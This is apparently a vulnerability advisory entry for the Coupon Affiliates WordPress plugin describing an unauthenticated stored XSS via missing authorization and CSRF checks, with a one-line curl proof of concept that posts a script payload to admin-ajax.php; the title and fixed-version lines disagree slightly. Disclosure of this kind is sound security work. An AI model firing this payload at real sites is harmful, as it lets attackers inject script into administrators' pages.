WordPress Plugin Vulnerabilities
Coupon Affiliates < 4.16.4.5 - Unauthenticated Stored XSS
Description
The plugin does not have authorization and CSRF checks on a specific action handler, as well as does not sanitize its settings, which enables an unauthenticated attacker to inject malicious XSS payloads into the settings page of the plugin.
Proof of Concept
curl https://example.com/wp-admin/admin-ajax.php --data 'action=wcu-update-text&option=wcusage_field_orders&value="></input><script>alert("xss");</script><input'
The XSS will be triggered in the Settings page of the plugin (/wp-admin/admin.php?page=wcusage_settings) Affects Plugins
Fixed in version 4.16.4
References
Classification
Miscellaneous
Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-03-02 (about 4 months ago)
Added
2022-03-02 (about 4 months ago)
Last Updated
2022-04-08 (about 2 months ago)